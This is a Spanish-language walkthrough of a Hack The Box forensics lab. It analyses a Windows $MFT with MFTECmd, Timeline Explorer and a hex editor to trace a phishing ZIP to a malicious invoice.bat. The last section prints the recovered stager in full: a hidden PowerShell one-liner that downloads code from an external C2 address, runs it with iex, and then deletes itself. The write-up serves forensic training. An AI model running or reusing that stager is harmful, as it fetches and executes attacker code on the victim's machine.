Table of contents
«En este Sherlock, te familiarizarás con el análisis forense de MFT (Master File Table). Se utilizarán herramientas y metodologías comunes para analizar artefactos MFT con el fin de identificar actividades maliciosas. Durante el análisis, utilizarás la herramienta MFTECmd para analizar el archivo MFT proporcionado, TimeLine Explorer para abrir y analizar los resultados del MFT analizado, y un editor hexadecimal para recuperar el contenido de los archivos de la MFT.»
En mi host (Ubuntu) con unzip -l
miro el contenido antes de descomprimirlo. Hay una carpeta C/
con un archivo $MFT
:
~/Descargas/windows$ unzip -l BFT.zip
Archive: BFT.zip
Length Date Time Name
--------- ---------- ----- ----
0 2024-03-20 17:52 C/
322437120 2023-07-07 09:48 C/$MFT
--------- -------
322437120 2 files
Antes de empezar, configuramos el entorno de trabajo en una máquina virtual de Windows. Una vez preparados los archivos, se utiliza la herramienta MFTECmd de Eric Zimmerman para analizar el archivo $MFT
y extraer su contenido en un formato legible (CSV).
PS C:\Users\noc\Downloads\MFTECmd> .\MFTECmd.exe
Description:
MFTECmd version 1.2.2.1
Author: Eric Zimmerman (saericzimmerman@gmail.com)
https://github.com/EricZimmerman/MFTECmd
Examples: MFTECmd.exe -f "C:\Temp\SomeMFT" --csv "c:\temp\out" --csvf MyOutputFile.csv
MFTECmd.exe -f "C:\Temp\SomeMFT" --csv "c:\temp\out"
MFTECmd.exe -f "C:\Temp\SomeMFT" --json "c:\temp\jsonout"
MFTECmd.exe -f "C:\Temp\SomeMFT" --body "c:\temp\bout" --bdl c
MFTECmd.exe -f "C:\Temp\SomeMFT" --de 5-5
MFTECmd.exe -f "C:\Temp\SomeMFT" --csv "c:\temp\out" --dr --fl
MFTECmd.exe -f "c:\temp\SomeJ" --csv "c:\temp\out"
MFTECmd.exe -f "c:\temp\SomeJ" -m "C:\Temp\SomeMFT" --csv "c:\temp\out"
MFTECmd.exe -f "c:\temp\SomeBoot"
MFTECmd.exe -f "c:\temp\SomeSecure_SDS" --csv "c:\temp\out"
MFTECmd.exe -f "c:\temp\SomeI30" --csv "c:\temp\out"
Short options (single letter) are prefixed with a single dash. Long commands are prefixed with two dashes
Usage:
MFTECmd [options]
Options:
-f <f> File to process ($MFT | $J | $Boot | $SDS | $I30). Required
-m <m> $MFT file to use when -f points to a $J file (Use this to resolve parent path in $J CSV output)
--json <json> Directory to save JSON formatted results to. This or --csv required unless --de or --body is
specified
--jsonf <jsonf> File name to save JSON formatted results to. When present, overrides default name
--csv <csv> Directory to save CSV formatted results to. This or --json required unless --de or --body is
specified
--csvf <csvf> File name to save CSV formatted results to. When present, overrides default name
--body <body> Directory to save bodyfile formatted results to. --bdl is also required when using this option
--bodyf <bodyf> File name to save body formatted results to. When present, overrides default name
--bdl <bdl> Drive letter (C, D, etc.) to use with bodyfile. Only the drive letter itself should be provided
--blf When true, use LF vs CRLF for newlines [default: False]
--dd <dd> Directory to save exported $MFT FILE record. --do is also required when using this option
--do <do> Offset of the $MFT FILE record to dump as decimal or hex. Ex: 5120 or 0x1400 Use --de or --debug to
see offsets
--de <de> Dump full details for $MFT entry/sequence #. Format is 'Entry' or 'Entry-Seq' as decimal or hex.
Example: 5, 624-5 or 0x270-0x5.
--dr When true, dump $MFT resident files to dir specified by --csv or --json, in 'Resident' subdirectory.
Files will be named '<EntryNumber>-<SequenceNumber>_<FileName>.bin'
--fls When true, displays contents of directory from $MFT specified by --de. Ignored when --de points to a
file [default: False]
--ds <ds> Dump full details for Security Id from $SDS as decimal or hex. Example: 624 or 0x270
--dt <dt> The custom date/time format to use when displaying time stamps. See https://goo.gl/CNVq0k for
options [default: yyyy-MM-dd HH:mm:ss.fffffff]
--sn Include DOS file name types in $MFT output [default: False]
--fl Generate condensed file listing of parsed $MFT contents. Requires --csv [default: False]
--at When true, include all timestamps from 0x30 attribute vs only when they differ from 0x10 in the $MFT
[default: False]
--rs When true, recover slack space from FILE records when processing $MFT files. This option has no
effect for $I30 files [default: False]
--vss Process all Volume Shadow Copies that exist on drive specified by -f [default: False]
--dedupe Deduplicate -f & VSCs based on SHA-1. First file found wins [default: False]
--debug Show debug information during processing [default: False]
--trace Show trace information during processing [default: False]
--version Show version information
-?, -h, --help Show help and usage information
-f is required. Exiting
En mi caso la localización del archivo $MFT
era: C:\Users\noc\Desktop\HTB\
BFT.zip
\C\$MFT
Con MFTECmd.exe:
.\MFTECmd.exe -f "C:\Users\noc\Desktop\HTB\BFT\C`$MFT" --csv "C:\Users\noc\Desktop\HTB\BFT" --csvf mft.csv
-f
: Especifica la ruta completa al archivo $MFT que se analizará.
--csv
: Define el directorio donde se guardará la salida en formato CSV.
--csvf
: Establece el nombre del archivo CSV de salida: mft.csv
.
PS C:\Users\noc\Downloads\MFTECmd> .\MFTECmd.exe -f "C:\Users\noc\Desktop\HTB\BFT\C\`$MFT" --csv "C:\Users\noc\Desktop\HTB\BFT" --csvf mft.csv
>>
MFTECmd version 1.2.2.1
Author: Eric Zimmerman (saericzimmerman@gmail.com)
https://github.com/EricZimmerman/MFTECmd
Command line: -f C:\Users\noc\Desktop\HTB\BFT\C\$MFT --csv C:\Users\noc\Desktop\HTB\BFT --csvf mft.csv
Warning: Administrator privileges not found!
File type: Mft
Processed C:\Users\noc\Desktop\HTB\BFT\C\$MFT in 3.7332 seconds
C:\Users\noc\Desktop\HTB\BFT\C\$MFT: FILE records found: 171,927 (Free records: 142,905) File size: 307.5MB
CSV output will be saved to C:\Users\noc\Desktop\HTB\BFT\mft.csv
Una vez creado el archivo msf.csv
, hay que abrirlo con Timeline Explorer, otra herramienta de Eric Zimmerman.
Pregunta 1
«Simon Stark was targeted by attackers on February 13. He downloaded a ZIP file from a link received in an email. What was the name of the ZIP file he downloaded from the link?»
Simon Stark fue el objetivo de un ataque el 13 de Febrero. Descargó un ZIP desde un link recibido en un email. ¿Cuál era el nombre del archivo ZIP que descargó desde el link?
En la parte superior derecha se puede filtrar por zip, por .zip…
Clickando en Extension, los archivos .zip quedan ordenados de este modo:
Archive.zip
-> Por su fecha de creación muy anterior al periodo que da la pregunta se descarta.
KAPE.zip
-> Por un momento pensé que era un archivo malicioso haciéndose pasar por la herramienta de análisis forense KAPE. Resulto no ser así, fue descargado pocos minutos después del que sí fue un archivo malicioso, ¿quizás porque la víctima del ataque empezase a sospechar algo…?
invoices.zip
-> Al analizar la columna "Parent Path", se observa:
invoice.zip se encuentra dentro de un directorio con un nombre que coincide con Stage-20240213T093324Z-001. Esto indica que invoice.zip probablemente se extrajo desde Stage-20240213T093324Z-001.zip.
De manera similar, invoices.zip está dentro de un directorio llamado invoice, lo que sugiere que fue extraído de invoice.zip
Por tanto, Stage-20240213T093324Z-001.zip
es el archivo inicial que desencadenó la cadena de extracción.
R: Stage-20240213T093324Z-001.zip
Pregunta 2
«Examine the Zone Identifier contents for the initially downloaded ZIP file. This field reveals the HostUrl from where the file was downloaded, serving as a valuable Indicator of Compromise (IOC) in our investigation/analysis. What is the full Host URL from where this ZIP file was downloaded?»
Examina el contenido del Zone Identifier del archivo ZIP descargado inicialmente. Este campo contiene la HostUrl desde la que se descargó el archivo, lo que constituye un valioso indicador de compromiso (IOC) en nuestra investigación/análisis. ¿Cuál es la HostUrl completa desde la que se descargó este archivo ZIP?
Cada fila en Timeline Explorer representa un registro de la MFT para un archivo o directorio. Las columnas asociadas contienen los metadatos, como: File Name, Parent Path, Marcas de tiempo (Last Modified0x10, Created0x30…), Extensión, Tamaño del archivo… Y también “alternative data streams” (ADS) como Zone.Identifier.
En los sistemas de archivos NTFS, cada archivo puede tener no solo sus datos principales (contenido), sino también uno o más Flujos de Datos Alternativos (ADS) asociados. Cuando Windows descarga un archivo desde Internet, automáticamente agrega un flujo de datos alternativo llamado Zone.Identifier. Este flujo contiene información que clasifica el archivo como descargado de una fuente externa y es usado por Windows para evaluar su nivel de confianza. Según la documentación de Microsoft, el valor ZoneId = 3
indica que el archivo proviene de Internet.
Los datos más importantes que incluye son:
ZoneId
: Una etiqueta que identifica la zona de seguridad desde donde se descargó el archivo.HostUrl
: Proporciona la URL específica desde donde se descargó.
[ZoneTransfer]
ZoneId=3
HostUrl=https://storage.googleapis.com/drive-bulk-export-anonymous/20240213T093324.039Z/4133399871716478688/a40aecd0-1cf3-4f88-b55a-e188d5c1c04f/1/c277a8b4-afa9-4d34-b8ca-e1eb5e5f983c?authuser
Pregunta 3
«What is the full path and name of the malicious file that executed malicious code and connected to a C2 server?»
¿Cuál es la ruta completa y el nombre del archivo malicioso que ejecutó código malicioso y se conectó a un servidor C2?
En resumen, los eventos sucedieron en este orden: Se descarga Stage-20240213T093324Z-001.zip → se crea el directorio invoice que contiene invoices.zip → se crea el directorio invoices que contiene el invoice.bat (el archivo malicioso que ejecutará comandos si se usa…).
¿Qué es un archivo BAT?: «'Bat' es la abreviatura de 'batch file' o 'archivo de lotes', y básicamente consiste en un archivo de texto que ejecuta secuencias de comandos, con el objetivo, habitualmente, de automatizar tareas que requieran un largo número de instrucciones (…)»
R: C:\Users\simon.stark\Downloads\Stage-20240213T093324Z-001\Stage\invoice\invoices\invoice.bat
Pregunta 4
«Analyze the $Created0x30 timestamp for the previously identified file. When was this file created on disk?»
Analiza la marca de tiempo $Created0x30 del archivo previamente identificado. ¿Cuándo se creó este archivo en el disco?
R: 2024-02-13 16:38:39
Pregunta 5
«Finding the hex offset of an MFT record is beneficial in many investigative scenarios. Find the hex offset of the stager file from Question 3.»
Encontrar el offset hexadecimal de un registro MFT puede ser útil en escenarios de una investigación. Encuentra el offset hexadecimal del archivo de la Pregunta 3.
Primero se mira el “Entry Number“ del archivo invoice.bat
. Cada entrada son 1024 bytes, por lo que el offset del archivo es 23436 * 1024 = 23998464 (0x16E3000)
Con la calculadora:
R: 16E3000
Pregunta 6
«Each MFT record is 1024 bytes in size. Files smaller than 1024 bytes are stored directly in the MFT file itself, known as MFT Resident files. During Windows filesystem investigations, it’s crucial to search for any malicious or suspicious files that may be resident in the MFT. This can reveal the contents of malicious files/scripts. Find the contents of the malicious stager identified in Question 3 and answer with the C2 IP and port.»
Cada registro MFT tiene un tamaño de 1024 bytes. Los archivos menores de 1024 bytes se almacenan directamente en el propio archivo MFT, conocidos como “archivos residentes MFT” (“MFT Resident files“). En investigaciones del sistema de archivos de Windows, es crucial buscar cualquier archivo malicioso o sospechoso que pueda estar en la MFT. Esto puede revelar el contenido de archivos/scripts maliciosos. Busca el contenido del archivo malicioso identificado en la Pregunta 3 y responda con la IP y el puerto del C2.
Link de descarga del HxD hex editor: https://mh-nexus.de/en/hxd/
Hay que abrir el $MFT
(no el mft.csv).
Search > Go to > Se abre una ventana para poner el offset (16E3000)
@echo off
start /b powershell.exe -nol -w 1 -nop -ep bypass "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://43.204.110.203:6666/download/powershell/Om1hdHRpZmVzdGF�W9uIGV0dw==') -UseBasicParsing|iex"
(goto) 2>nul & del "%~f0"
El script contenido en el archivo invoice.bat
desactiva el comando echo para evitar mostrar los comandos en la consola, y luego inicia un proceso de PowerShell en segundo plano. A continuación, utiliza el comando Invoke-WebRequest
(iwr) para conectarse a un servidor remoto en la URL http://43.204.110.203:6666/download/powershell/Om1hdHRpZmVzdGFW9uIGV0dw==
y descarga un archivo. Posteriormente, emplea Invoke-Expression
(iex) para ejecutar el contenido descargado directamente en el sistema. Finalmente, el script se autodestruye eliminando su propio archivo .bat. Con esto, se identifica el servidor Command and Control (C2), cuya dirección IP es 43.204.110.203
y utiliza el puerto 6666
.
R: 43.204.110.203:6666